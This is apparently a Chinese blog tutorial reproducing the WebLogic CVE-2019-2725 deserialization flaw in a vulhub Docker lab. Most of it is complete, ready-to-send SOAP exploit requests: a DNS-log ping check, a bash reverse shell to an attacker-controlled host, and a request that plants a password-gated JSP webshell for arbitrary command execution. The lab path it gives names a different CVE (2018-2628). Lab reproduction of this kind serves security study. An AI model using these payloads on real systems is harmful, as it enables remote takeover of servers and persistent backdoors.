zoukankan      html  css  js  c++  java
  • weblogic复现利用系列-2019

    一、CVE-2019-2725

    1.1、影响版本

    CVE-2019-2725

    10.3.6.0, 12.1.3.0

    1.2、环境搭建

    1.进入vulhub,启动docker即可

    cd /root/vulhub/weblogic/CVE-2018-2628
    docker-compose up -d
    

    2.查看启动的docker进程

    docker ps
    

    1.3、复现流程

    1)、POC验证-判断存在可能性
    访问

    http://192.168.52.130:7001/_async/AsyncResponseService
    

    返回如下说明存在该漏洞对应的服务

    接下来我们可以使用dnslog验证或ceye验证,使用如下数据报文

    POST /_async/AsyncResponseService HTTP/1.1
    Host: ip:port
    Content-Length: 753
    Accept-Encoding: gzip, deflate
    SOAPAction:
    Accept: */*
    User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
    Connection: keep-alive
    content-type: text/xml
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
    <soapenv:Header> 
    <wsa:Action>xx</wsa:Action>
    <wsa:RelatesTo>xx</wsa:RelatesTo>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>ping szgkay.dnslog.cn</string>
    </void>
    </array>
    <void method="start"/></void>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body>
    <asy:onAsyncDelivery/>
    </soapenv:Body></soapenv:Envelope>
    

    DNS有回显,说明确实存在漏洞

    2)、反弹shell

    POST /_async/AsyncResponseService HTTP/1.1
    Host: ip:port
    Content-Length: 753
    Accept-Encoding: gzip, deflate
    SOAPAction:
    Accept: */*
    User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
    Connection: keep-alive
    content-type: text/xml
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
    <soapenv:Header> 
    <wsa:Action>xx</wsa:Action>
    <wsa:RelatesTo>xx</wsa:RelatesTo>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>bash -i &gt;&amp; /dev/tcp/vpsip/vpsport 0&gt;&amp;1</string>
    </void>
    </array>
    <void method="start"/></void>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body>
    <asy:onAsyncDelivery/>
    </soapenv:Body></soapenv:Envelope>
    

    写入webshell

    POST /_async/AsyncResponseService HTTP/1.1
    Host: ip:port
    Content-Length: 1142
    Accept-Encoding: gzip, deflate
    SOAPAction:
    Accept: */*
    User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
    Connection: keep-alive
    content-type: text/xml
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string><void method="println"><string><![CDATA[
    <%
        if("123".equals(request.getParameter("pwd"))){
            java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            int a = -1;
            byte[] b = new byte[1024];
            out.print("<pre>");
            while((a=in.read(b))!=-1){
                out.println(new String(b));
            }
            out.print("</pre>");
        }
        %>]]>
    </string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
    

    之后访问

    http://192.168.52.130:7001/_async/webshell.jsp?pwd=123&cmd=whoami
    
  • 相关阅读:
    windows环境配置多个tomcat
    navicat 12 破解
    Eclipse创建Maven报异常:Could not get the value for parameter encoding for plugin......
    tomcat设置日志打印到文件中
    修改mysql数据库的休眠时间
    spring的bean标签的常用属性
    redis 安装与下载(windows版本)
    mysql设置远程可访问
    WPF非轮询方式更新数据库变化SqlDependency(数据库修改前台自动更新)
    WPF实战案例-在线程内同步集合数据到UI线程
  • 原文地址:https://www.cnblogs.com/qianxinggz/p/13428134.html
Copyright © 2011-2022 走看看